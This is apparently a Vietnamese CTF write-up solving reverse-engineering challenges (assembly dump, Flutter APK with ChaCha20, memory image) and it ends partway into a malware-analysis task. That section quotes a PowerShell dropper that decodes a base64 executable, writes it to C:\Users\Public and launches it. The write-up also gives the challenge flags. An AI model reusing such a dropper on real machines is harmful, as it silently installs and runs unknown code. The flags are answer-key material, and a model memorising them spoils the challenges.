Wannagame championship 2022 Writeups

Overview

Đôi lời về trải nghiệm thi:

Đây là cuộc thi về ctf do bên UIT tổ chức, trải qua 8 tiếng căng thẳng thì:…

Tuy được hạng 4 toàn bảng (hạng nhì offline), nma cũng khá xót khi còn thiếu tận 1.000…1 bài nữa để lên top :< và còn đâu đó 1 bài forensics dang dở + 1 bài cryptography biết hướng làm nhưng không ra .

Tổng cộng hôm thi team mình được 7 bài (1 MISC + 1 WEB + 2 PWN + 3 REV), trong đó thì mình ăn first blood cả 3 bài rev :)) + thêm bài misc khá là …

Trong danh sách writeups sau, mình sẽ trình bày theo mốc thời gian làm, thay vì độ khó :>. Thứ tự độ khó tăng dần sẽ là Memory -> Baby APK -> The return of Anti Debug -> Kittensware.

Write ups

1. The return of Anti Debug

Danh sách các file:

Tổng quan:

Bài này là bài làm lại (đổi biến số) từ 1 bài bị lỗi (Anti Debug) của kỳ Wannagame năm trước :)). Trước hôm thi thì mình có giải lại thử, nói chung đây sẽ là dạng để bạn thể hiện khả năng đọc hiểu code assembly và hiểu cách mà một số decompiler (IDA, Ghidra, …) output thông tin

Theo gợi ý, file code.txt sẽ có nội dung như sau (bỏ qua các struct ở đầu file):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
;
; +-------------------------------------------------------------------------+
; | This file was generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2021 Hex-Rays, <support@hex-rays.com> |
; | License info: 48-206A-1AC0-08 |
; | IDA PRO 7.6 SP1 |
; +-------------------------------------------------------------------------+
;
; Input SHA256 : 8FFC76D721702FD9140973C39403152E44FF090B90BC9972107BBF9BC56BFAF5
; Input MD5 : 2310C32D2C9478678CA2493BF866EDA4
; Input CRC32 : 07A8B466

; File Name : C:\Users\nguye\OneDrive\Máy tính\a.out
; Format : ELF64 for x86-64 (Shared object)
; Interpreter '/lib64/ld-linux-x86-64.so.2'
; Needed Library 'libc.so.6'
;
; Source File : 'crtstuff.c'
; Source File : 'code.c'
; Source File : 'crtstuff.c'

.686p
.mmx
.model flat
.intel_syntax noprefix

Từ thông tin trên biết được file này là elf64, dump từ IDA 7.6, và không có liên kết thêm thư viện ngoài.

Câu hỏi được đặt ra là từ file này convert sang IDA được không <(“), thì câu trả lời có vẻ là không (mặc dù file có vẻ chi tiết hơn so với challenge năm trước), có thể tìm hiểu thêm tại đây

Nơi chương trình bắt đầu

Vị trí đầu tiên (Entry point) cần phải xem xét trong đa số trường hợp sẽ là main (Đây là hàm do IDA tự đặt tên dựa trên thông tin trên file), chỉ một số ít mới cần xét đến _start (Dành cho trường hợp nanomite - chương trình tự fork và tự điều khiển chính bản thân thông qua ptrace).

Hàm main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
; =============== S U B R O U T I N E =======================================

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near ; DATA XREF: _start+21↑o

var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
stream = qword ptr -0B0h
ptr = qword ptr -0A8h
s = byte ptr -0A0h
var_50 = byte ptr -50h
var_8 = qword ptr -8

; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 0C0h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rsi, modes ; "r"
lea rdi, aSomethingsecre ; "./somethingSecret.txt"
call _fopen
mov [rbp+stream], rax
mov edi, 4Ch ; 'L' ; size
call _malloc
mov [rbp+ptr], rax
mov rdx, [rbp+stream]
mov rax, [rbp+ptr]
mov rcx, rdx ; stream
mov edx, 1 ; n
mov esi, 42h ; 'B' ; size
mov rdi, rax ; ptr
call _fread
mov rax, [rbp+stream]
mov rdi, rax ; stream
call _fclose
lea rdi, s ; "Oh no, someone leaked something..."
call _puts
lea rax, [rbp+s]
mov edx, 42h ; 'B' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
lea rax, [rbp+var_50]
mov edx, 42h ; 'B' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
mov edi, 0 ; timer
call _time
mov edi, eax ; seed
call _srand
mov [rbp+var_BC], 0
jmp short loc_1657
; ---------------------------------------------------------------------------

Khôi phục biến

Stack ở hàm main thuộc dạng bp-based, tức là các vị trí đều được tính trên base pointer. Từ đây ta sẽ cố gắng khôi phục lại kiểu dữ liệu ban đầu của từng biến

1
2
3
4
5
6
7
8
var_BC          = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
stream = qword ptr -0B0h
ptr = qword ptr -0A8h
s = byte ptr -0A0h
var_50 = byte ptr -50h
var_8 = qword ptr -8

Để dễ hình dung, ta có bảng sau:

Biến Loại pointer Offset với biến trước Offset với bp Kiểu dữ liệu đề xuất
var_BC int* 0 -0x0bc int (4b)
var_B8 int* 4 -0x0b8 int (4b)
var_B4 int* 4 -0x0b4 int (4b)
stream long* 4 -0x0b0 void* (8b)
ptr long* 8 -0x0a8 void* (8b)
s char* 8 -0x0a0 char[0x50] (0x50b)
var_50 char* 0x50 -0x50 char[0x48] (0x48b)
var_8 long* 0x48 -0x8 long (8b) ~ canary
bp void* 0x8 0x0 base pointer

Calling convention __cdecl

Tóm tắt lại, ta sẽ chi cần nhớ thứ tự như sau (calling convention này chỉ dành cho linux):

1
2
3
func1(int a, int b, int c, int d, int e, int f);
// a in RDI, b in RSI, c in RDX, d in RCX, e in R8, f in R9
// return value alway in RAX

Phân tích hàm main thông qua tự tạo pseudo-code

1
2
3
4
lea     rsi, modes      ; "r"
lea rdi, aSomethingsecre ; "./somethingSecret.txt"
call _fopen
mov [rbp+stream], rax

Tương đương với

1
stream = rax = fopen("./somethingSecret.txt", "r");

Đây là 1 file khá đáng nghi, không được cung cấp bởi người ra đề ~> có thể nội dung file chính là flag, tập trung vào nội dung lấy từ file.

1
2
3
mov     edi, 4Ch ; 'L'  ; size
call _malloc
mov [rbp+ptr], rax
1
2
ptr = rax = malloc(0x4c);
// Khởi tạo vùng nhớ trên heap size = 0x4c
1
2
3
4
5
6
7
mov     rdx, [rbp+stream]
mov rax, [rbp+ptr]
mov rcx, rdx ; stream
mov edx, 1 ; n
mov esi, 42h ; 'B' ; size
mov rdi, rax ; ptr
call _fread
1
2
fread(ptr, 0x42, 1, stream);
// Đọc upto 0x42 ký tự từ stream vào ptr
1
2
3
mov     rax, [rbp+stream]
mov rdi, rax ; stream
call _fclose
1
2
fclose(stream);
// Đóng file
1
2
3
4
5
6
7
8
9
10
lea     rax, [rbp+s]
mov edx, 42h ; 'B' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
lea rax, [rbp+var_50]
mov edx, 42h ; 'B' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
1
2
3
memset(s, 0, 0x42);
memset(var_50, 0, 0x42);
// Reset giá trị phần tử của s và var_50 về 0
1
2
3
4
mov     edi, 0          ; timer
call _time
mov edi, eax ; seed
call _srand
1
srand(time(0)); // Khởi tạo random seed

Lặp và rẽ nhánh

  • Vòng lặp thứ nhất
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    mov     [rbp+var_BC], 0
jmp short loc_1657
; ------
loc_163A: ; CODE XREF: main+F7↓j
call _rand
mov edx, eax
mov eax, [rbp+var_BC]
cdqe
mov [rbp+rax+s], dl
add [rbp+var_BC], 1
loc_1657: ; CODE XREF: main+D1↑j
cmp [rbp+var_BC], 41h ; 'A'
jle short loc_163A

Tương đương với

1
2
3
for (var_BC = 0; var_BC <= 0x41; var_BC++) {
s[var_BC] = dl = (char)edx = (char)eax = (char)rand();
} // Khởi tạo s bằng các giá trị random
  • Vòng lặp thứ 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
                mov     [rbp+var_B8], 0
jmp short loc_16BD
; ---------------------------------------------------------------------------

loc_166C: ; CODE XREF: main+15D↓j
mov eax, [rbp+var_B8]
movsxd rdx, eax
mov rax, [rbp+ptr]
add rax, rdx
movzx edx, byte ptr [rax]
mov eax, [rbp+var_B8]
cdqe
movzx eax, [rbp+rax+s]
xor eax, edx
mov edx, eax
mov eax, [rbp+var_B8]
cdqe
movzx eax, [rbp+rax+s]
add eax, edx
mov edx, eax
mov eax, [rbp+var_B8]
cdqe
mov [rbp+rax+var_50], dl
add [rbp+var_B8], 1

loc_16BD: ; CODE XREF: main+103↑j
cmp [rbp+var_B8], 41h ; 'A'
jle short loc_166C

Tương đương với

1
2
3
4
5
6
7
8
9
10
11
12
for (var_B8 = 0; var_B8 <= 0x41; var_B8++) {
edx = ptr[var_B8]; // = *(ptr + var_B8)
eax = s[var_B8]; // rax = var_B8, eax = *(s+rax)

eax ^= edx; // xor eax, edx
edx = eax;
eax = s[var_B8]; // rax = var_B8, eax = *(s+rax)
eax += edx; // add eax, edx
edx = eax;

var_50[var_B8] = (char)edx; // eax = var_B8, *(rax + var_50) = dl = (char)edx;
}
  • Vòng lặp thứ 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
                mov     [rbp+var_B4], 0
jmp short loc_16FF
; ---------------------------------------------------------------------------

loc_16D2: ; CODE XREF: main+19F↓j
mov eax, [rbp+var_B4]
cdqe
movzx eax, [rbp+rax+var_50]
movsx eax, al
movzx eax, al
mov esi, eax
lea rdi, format ; "%02X "
mov eax, 0
call _printf
add [rbp+var_B4], 1

loc_16FF: ; CODE XREF: main+169↑j
cmp [rbp+var_B4], 2
jle short loc_16D2

Tương đương với

1
2
3
4
5
6
for (var_B4 = 0; var_B4 <= 2; var_B4++) {
eax = var_50[var_B4]; // eax = *(var_50 + var_B4)
eax = (char)eax; // = al;

printf("%02X ", eax); // edi = eax;
}

Sau đó chương trình thực hiện lệnh call tới hàm sus và kết thúc chương trình:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                mov     edi, 0Ah        ; c
call _putchar
mov eax, 0
call sus
mov eax, 0
mov rcx, [rbp+var_8]
xor rcx, fs:28h
jz short locret_1735
call ___stack_chk_fail
; ---------------------------------------------------------------------------

locret_1735: ; CODE XREF: main+1C7↑j
leave
retn

Tổng quan lại những gì chương trình đã làm trong hàm main:

  • Tạo ptr từ file “./somethingSecret.txt”
  • Tạo mảng s random
  • Tạo mảng var_50 = (ptr ^ s) + s (element wise)
  • Leak 3 phần tử đầu của mảng var_50 dưới dạng thập lục phân ra màn hình.

Hàm sus

Quá trình tạo pseudo-code cũng tương tự như trên (hoặc có thể đọc trực tiếp không cần thông dịch) :> Do hàm này sử dụng lại từ challenge trước, mình sẽ chỉ nói đại ý về công dụng thôi

  • Đọc file /proc/self/maps, đây chính là bảng chứa virtual address của process hiện tại. Sau đó đọc qua từng dòng, đến khi nào dòng có substring là ‘[st’ (chính là [stack]) thì thực hiện parse địa chỉ đầu và cuối của stack
  • Mở file /proc/self/mem, đây là memory hiện tại của chương trình, sau đó seek tới stack và dump toàn bộ ra file dump

Hướng giải quyết

Như vậy, ta đã biết được các thông tin sau:

  • stack của chương trình
  • Mảng var_50 thông qua những bytes đã được leak trong log.txt
  • Mảng s thông qua offset với mảng var_50
  • Không biết được thông tin của ptr trên heap (thông tin cần tìm)

Như vậy, ptr có thể decode lại như sau:

var_50 = (ptr ^ s) + s

Suy ra ptr = (((var_50 - s) + 256) % 256) ^ s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
leak = b'\xAE\x88\x89'
offset_s = -0x50
flag_size = 0x42

f = open("dump", "rb")
dump = f.read()
f.close()

var_50_pos = dump.find(leak)
s_pos = var_50_pos + offset_s

var_50 = dump[var_50_pos: var_50_pos + flag_size]
s = dump[s_pos: s_pos + flag_size]

# Recover
result = ''.join([chr(((a-b+256)%256)^b) for a,b in zip(var_50, s)])

print(result) # Nhung_biet_ly_keo_dai_day_dut_moi_chinh_la_bua_tiec_cua_thanh_xuan

Những flag của phần RE sau đó sẽ đem gửi lên server lấy format gốc (W1{.*}) -> done

2. Baby APK

Danh sách các file:

Tổng quan:

Đây là bài mình giải thứ 2, khi giải xong cũng khá bất ngờ khi mà lúc nộp server lại import thiếu flag, tốn hơn nửa tiếng để xác nhận phía tác giả + fix

Decompile với jadx

Có thể thấy được chương trình hiện tại được build trên flutter. Ở flutter có 1 cái đặc biệt là debug moderelease mode sẽ hoàn toàn khác nhau, nguyên nhân là debug mode cần đến việc hot reload (cập nhật giao diện khi sửa code) bù lại cho việc app sẽ chạy chậm & unstable hơn.

Để phân biệt giữa 2 mode, Ta chỉ cần xét đơn giản như sau

  • Debug mode (bài hiện tại): Tồn tại file (kernel_blob.bin)[https://stackoverflow.com/questions/53368586/what-is-flutters-kernel-blob-bin] trong folder assets/flutter_assets/ , và đây cũng là file chứa mã nguồn chính của chương trình để phân tích
  • Release mode (bài APK Again): Tồn tại file libapp.so trong folder lib/< arch >, chứa mã nguồn đã được compile lại thành VM Snapshot.

Phân tích kernel_blob.bin

Đầu tiên, extract string có trong file sang file text, ví dụ

1
strings kernel_blob.bin > abc.txt

Sau đó vào file, search với những cụm từ như main.dart, wannagame_championship(do đây cũng là package của app) để tìm vị trí của chương trình, tách lấy đoạn code cần thiết, ta được thành phẩm như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
import 'dart:math';
import 'package:cryptography/cryptography.dart';
import 'package:flutter/material.dart';
import 'package:http/http.dart';
void main()
{
runApp(const MyApp());
}

List<int> ra()
{
Random rand = Random(1412);
List<int> arr = [];
for(int i =0;i<32;i++)
{
arr.add(rand.nextInt(256));
}
return arr;
}

List<int> rb()
{
Random rand = Random(0xdeadbeef);
List<int> arr = [];
for(int i =0;i<12;i++)
arr.add(rand.nextInt(256));
return arr;
}

bool cta(List<int> arr1,List<int>arr2)
{
for(var i =0;i<arr1.length;i++)
if(arr1[i]!=arr2[i])
{
return false;
}
return true;
}

List<int> m()
{
final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
for(int i =0;i<message.length;i++)
{
message[i]=message[i]^0xab;
}
return message;
}

List<int> k()
{
return ra();
}

List<int> n()
{
return rb();
}

List <int> ma()
{
final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53];
return mac;
}

Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async
{
final algorithm = Chacha20(
macAlgorithm: Hmac.sha256(),
);
final secretKey = await algorithm.newSecretKeyFromBytes(k);
SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma));
List<int> clearText = await algorithm.decrypt(
secretBox,
secretKey: secretKey
);
return String.fromCharCodes(clearText);
}

bool cts(String str1,String str2)
{
return str1==str2;
}

Future<bool> ch(String p) async
{
String dp = await calc_chacha20(m(),k(),n(),ma());
if (cts(dp,p))
return Future.value(true);
return Future.value(false);
}

class MyApp extends StatelessWidget {
const MyApp({Key? key}) : super(key: key);
// This widget is the root of your application.
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Flutter APP',
theme: ThemeData(
// This is the theme of your application.
//
// Try running your application with "flutter run". You'll see the
// application has a blue toolbar. Then, without quitting the app, try
// changing the primarySwatch below to Colors.green and then invoke
// "hot reload" (press "r" in the console where you ran "flutter run",
// or simply save your changes to "hot reload" in a Flutter IDE).
// Notice that the counter didn't reset back to zero; the application
// is not restarted.
primarySwatch: Colors.blue,
),
home: const MyHomePage(title: 'WannaGame Championship Challenge'),
);
}
}

class MyHomePage extends StatefulWidget {
const MyHomePage({Key? key, required this.title}) : super(key: key);
// This widget is the home page of your application. It is stateful, meaning
// that it has a State object (defined below) that contains fields that affect
// how it looks.
// This class is the configuration for the state. It holds the values (in this
// case the title) provided by the parent (in this case the App widget) and
// used by the build method of the State. Fields in a Widget subclass are
// always marked "final".
final String title;
@override
State<MyHomePage> createState() => _MyHomePageState();
}

Future<List<int>> bytes(String password) async
{
bool ok = await ch(password);
if(ok)
return password.codeUnits;
return password.codeUnits;
}

class _MyHomePageState extends State<MyHomePage> {
@override
Widget build(BuildContext context) {
// This method is rerun every time setState is called, for instance as done
// by the _incrementCounter method above.
//
// The Flutter framework has been optimized to make rerunning build methods
// fast, so that you can just rebuild anything that needs updating rather
// than having to individually change instances of widgets.
return Scaffold(
appBar: AppBar(
// Here we take the value from the MyHomePage object that was created by
// the App.build method, and use it to set our appbar title.
title: Text(widget.title),
),
body: Input_Text(),
);
}
}

Future<List<int>> calc_sha256(String password) async
{
final algorithm_hash = Sha256();
final sink = algorithm_hash.newHashSink();
// sink.add(password.codeUnits);
sink.add(await bytes(password));
sink.close();
final hash = await sink.hash();
return hash.bytes;
}

class Input_Text extends StatelessWidget {
Input_Text({Key? key}) : super(key: key);
TextEditingController password_ctl = TextEditingController();
TextEditingController flag_check_ctl = TextEditingController();
TextEditingController flag = TextEditingController();
@override
Widget build(BuildContext context) {
return Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: <Widget>[
Padding(
padding: EdgeInsets.symmetric(horizontal: 8, vertical: 16),
child: TextField(
controller: password_ctl,
decoration: InputDecoration(
border: OutlineInputBorder(),
hintText: 'Enter a password',
),
),
),
Container(
alignment: Alignment.center,
height: 50,
padding: const EdgeInsets.fromLTRB(10, 0, 10, 0),
child: ElevatedButton(
child: const Text('Check password'),
onPressed: () async {
var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109];
final hash = await calc_sha256(password_ctl.text);
bool check = cta(hash_pass,hash);
if(check)
{
flag_check_ctl.text="Correct";
flag.text="Try to submit it !!!";
}
else
{
flag_check_ctl.text = "Wrong!!! Try again ^.^";
}
}
)
),
Image.asset(
"graphics/meowmeow.gif",
),
TextField(
decoration: InputDecoration(
border: InputBorder.none,
enabled: false
),
controller: flag_check_ctl,
textAlign: TextAlign.center,
style: TextStyle(color: Colors.red)
),
TextField(
decoration: InputDecoration(
border: InputBorder.none,
enabled:false
),
controller: flag,
textAlign: TextAlign.center,
style: TextStyle(color: Colors.blue,fontStyle: FontStyle.italic),
)
],
);
}
}

Ở class cuối, có lời nhắn về việc flag đúng sai khi click vào button -> Ta sẽ bắt đầu ở hàm này. Source sẽ là input từ người dùng và Sink chính là hệ thống hiện thị flag đúng.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ...
onPressed: () async {
var hash_pass = <int>[127, 16, 136, 53, 147, 106, 226, 166, 95, 199, 25, 214, 163, 157, 159, 72, 58, 95, 116, 239, 177, 224, 103, 132, 201, 73, 232, 210, 83, 152, 54, 109];
final hash = await calc_sha256(password_ctl.text);
bool check = cta(hash_pass,hash);
if(check)
{
flag_check_ctl.text="Correct";
flag.text="Try to submit it !!!";
}
else
{
flag_check_ctl.text = "Wrong!!! Try again ^.^";
}
}
// ...

Ta có Call graph như sau:

Có 2 hàm cần chú ý là ctscta:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool cts(String str1,String str2)
{
return str1==str2;
}

bool cta(List<int> arr1,List<int>arr2)
{
for(var i =0;i<arr1.length;i++)
if(arr1[i]!=arr2[i])
{
return false;
}
return true;
}

Về cơ bản thì 2 hàm này đều để compare giữa 2 object với nhau -> Đặt vấn đề sink sẽ nằm ở đây (mục tiêu tạo giá trị = True)

Ở hàm calc_sha256, ngoại trừ việc gọi tới hàm bytes đáng ngờ ra thì phần còn lại để tính hash sha256 như bình thường, suy ra mục tiêu cần đạt được là tìm input sao cho: hash_pass == SHA256(input).

Tuy nhiên với lượng thông tin như vậy là chưa đủ (hash không nằm trong database có sẵn trên web để crack), nên cần tập trung chính vào hàm calc_chacha20. Hàm cts so sánh giữa input và giá trị trả về của calc_chacha20, cho nên đây có thể là hàm giải mã 1 chuỗi đã được mã hoá trong chương trình.

Đến đây, có 2 cách có thể thực hiện:

  • Dynamic: chạy chương trình và hook vào hàm cts để lấy thông tin 2 chuỗi được so sánh
  • Static: Reproduce lại kết quả của hàm calc_chacha20

Ở đây thì mình cũng chưa rành phương pháp dynamic lắm, nên tạm thời sẽ theo hướng static là chính :>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Future<bool> ch(String p) async 
{
String dp = await calc_chacha20(m(),k(),n(),ma());
if (cts(dp,p))
return Future.value(true);
return Future.value(false);
}
List<int> m()
{
final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
for(int i =0;i<message.length;i++)
{
message[i]=message[i]^0xab;
}
return message;
}

List<int> k()
{
return ra();
}

List<int> n()
{
return rb();
}

List <int> ma()
{
final mac = <int>[162, 93, 181, 147, 1, 86, 102, 148, 137, 92, 119, 11, 14, 91, 23, 226, 251, 40, 192, 189, 204, 190, 40, 167, 4, 227, 112, 58, 170, 136, 100, 53];
return mac;
}

List<int> ra()
{
Random rand = Random(1412);
List<int> arr = [];
for(int i =0;i<32;i++)
{
arr.add(rand.nextInt(256));
}
return arr;
}

List<int> rb()
{
Random rand = Random(0xdeadbeef);
List<int> arr = [];
for(int i =0;i<12;i++)
arr.add(rand.nextInt(256));
return arr;
}

Future<String> calc_chacha20(List<int> m,List<int> k,List<int> n,List<int> ma) async
{
final algorithm = Chacha20(
macAlgorithm: Hmac.sha256(),
);
final secretKey = await algorithm.newSecretKeyFromBytes(k);
SecretBox secretBox = SecretBox(m,nonce: n,mac:Mac(ma));
List<int> clearText = await algorithm.decrypt(
secretBox,
secretKey: secretKey
);
return String.fromCharCodes(clearText);
}

Chacha20 gồm 2 thành phần chính là key và nonce tạo thành stream (https://loup-vaillant.fr/tutorials/chacha20-design). Sau đó việc encrypt/decrypt chỉ đơn giản là việc xor stream với message/ciphertext.

Theo https://pub.dev/documentation/cryptography/latest/cryptography/Chacha20-class.html:

  • secretKeyLength is 32 bytes
  • nonceLength is 12 bytes
1
2
3
4
5
6
7
8
9
String dp = await calc_chacha20(m(),k(),n(),ma());
List<int> k()
{
return ra();
}
List<int> n()
{
return rb();
}

Cộng với việc ra, rb lần lượt tạo ra mảng 32 và 12 bytes -> đoán được đây là secret và nonce (có thể từ kiểm nghiệm lại từ flow của chương trình).

Ciphertext của chương trình nằm ở hàm m (giá trị trả về của hàm làm tham số để truyền vào SecretBox). Và phần này đơn giản chỉ là xor ngược lại mảng với 0xab để tìm ciphertext gốc:

1
2
3
4
5
6
7
// ....
final message = <int>[13, 5, 172, 72, 129, 236, 106, 81, 95, 82, 154, 188, 102, 63, 210, 150, 80, 56, 108, 22, 100];
for(int i =0;i<message.length;i++)
{
message[i]=message[i]^0xab;
}
// ....

Vấn đề đặt ra ở ra, rb: làm sao để tìm lại mảng ? (cả 2 hàm đều sử dụng đến random). Để ý thấy được cả 2 đều dùng 1 giá trị cố định cho seed của Random -> giá trị ở mỗi lần chạy có thể sẽ được giữ nguyên!.

Để cho tiện thì có thể sử dụng https://dartpad.dev/ để chạy chương trình và tìm giá trị trả về của 2 hàm như sau:

Từ 3 thành phần tìm được:

  • ciphertext: a6ae07e32a47c1faf4f93117cd94793dfb93c7bdcf
  • secretkey: b0f64f17877bd72bc2c1adc614d42f818d077889729fd7edcddfb85967033104
  • nonce: 53b724922ef0da39bdcbb46a

Sau đó, có thể sử dụng tool bất kỳ để có thể decrypt (Ở đây mình sẽ sử dụng CyberChef):

Flag: L0v3$W^na0n3_U1T_1412

3. Memory

Danh sách các file

  • memory.raw (Do file nặng nên sẽ không upload ở đây :>)

Too Short, Didn’t Read

Từ đề bài đã gợi ý về chuyện “or not” , cho nên là…

Flag: W1{M3moRy_F0r3nsics_34sy_R1ght???}

4. Kittensware

Danh sách các file:

Tổng quan:

Về bài này thì team mình tự hào là team duy nhất giải ra (vào cuối giờ theo đúng nghĩa đen - 2 phút trước khi kết thúc). Đồng thời đây cũng là bài tốn thời gian nhất :)) ~30p mình ngồi kiếm cách để unpack VMProtect để rồi nhận ra không cần unpack vẫn xem code được … + ~ 1 tiếng để tĩnh tâm hiểu được flow chương trình. Trong vòng 1 tiếng thì mình dùng Rubber duck debugging với đứa đồng đội kế bên và thấy khá hiệu quả :> nên nếu có khó khăn gì thì cứ thử nhé .

Lan man vậy đủ rôì :> bắt đầu reverse thôi

Suspected binary in network trafic

Khi mở file lên bằng Wireshark, đầu tiên sẽ thực hiện filter dựa trên http protocol để tìm ra những file được downloadupload (Data ở dạng raw, có thể dump được do không bị mã hoá trên đường truyền ở cả 2 phía):

Dễ dàng thấy được có 1 file Powershell đáng ngờ đã được tải về (dựa theo đuôi .ps), còn lại là các request POST tới /beacon_ring.

Dump file Powershell được kq như sau:

1
2
3
4
5
$b64='TVqQAA...<chuỗi dài>...lbgA='
$filename = 'C:\Users\Public\challenge.exe'
$bytes = [Convert]::FromBase64String($b64)
[IO.File]::WriteAllBytes($filename, $bytes)
Start-Process 'C:\Users\Public\challenge.exe'

Công việc chính của file Powershell này là từ chuỗi mã hoá base64, decode và lưu ra file challenge.exe, sau đó sẽ khởi chạy file này (1 kiểu hoạt động cơ bản của Trojan, hide -> inject -> eavesdrop :>)

Để lấy được file challenge.exe thì cần decode base64 và lưu = thành file binary (có thể dùng tool Cyberchef luôn) hoặc đơn giản hơn thì chỉ cần xoá dòng cuối Start-Process..., chạy file Powershell cho nó tự giải mã và vào 'C:\Users\Public để lấy file (Không khuyến khích chạy file nếu chưa biết nó sẽ làm gì)

Sau khi có được challenge.exe, thử analyze với Detect It Easy ta có được thông tin như sau:

Các thông tin tìm được:

  • Được protect bằng VMProtect ở mức min (Phần này mọi người có thể tự tìm hiểu xem nó sẽ làm gì nhé)
  • Compile bằng MinGW’s gcc 64bit (hầu như sẽ không gọi tới WinAPI quá nhiều - 1 điểm cộng lớn khi reverse binary Windows .)

Phân tích bằng IDA

Khi mới đầu load, chương trình sẽ xuất hiện rất nhiều mã int 4, tuy nhiên có thể đay chỉ là interrupt của VMProtect, không ảnh hưởng tới chương trình lắm (thông qua debug), + thêm việc dùng indirect calling cho function, cho nên có thể dùng regex và filter bớt đi, được đoạn code sáng sủa hơn như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
  memset(v70, 0, 2048);
wcscpy(v74, L"key");
if ( !get_request(v74, v70) )
return -1;
v3 = strlen(v70);
v4 = b64_decode(v70, v3);
v5 = strlen(v4);
v6 = json_parse(v4, v5);
memset(v70, 0, 2048);
v61[0] = 0;
process_object(v6, 1, v70, v61);
v7 = srand;
v8 = time(0);
v7(v8);
memset(v65, 0, 80);
memset(v71, 0, 2048);
v9 = key;
v61[1] = 0;
v10 = iv;
do
{
v11 = rand();
v12 = v11;
wcscpy(v74, L"〥報");
text_68(v9, v74, (v11 >> 4) & 0xF);
wcscpy(v74, L"〥報");
text_68(v9 + 1, v74, v12 & 0xF);
v13 = rand();
v14 = v13;
wcscpy(v74, L"〥報");
text_68(v10, v74, (v13 >> 4) & 0xF);
v9 += 2;
wcscpy(v74, L"〥報");
v15 = v10 + 1;
v10 += 2;
text_68(v15, v74, v14 & 0xF);
}
while ( v9 != &key[32] );
mem_concat(key, 32, iv, 32, v65);
memset(v72, 0, 2048);
wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7);
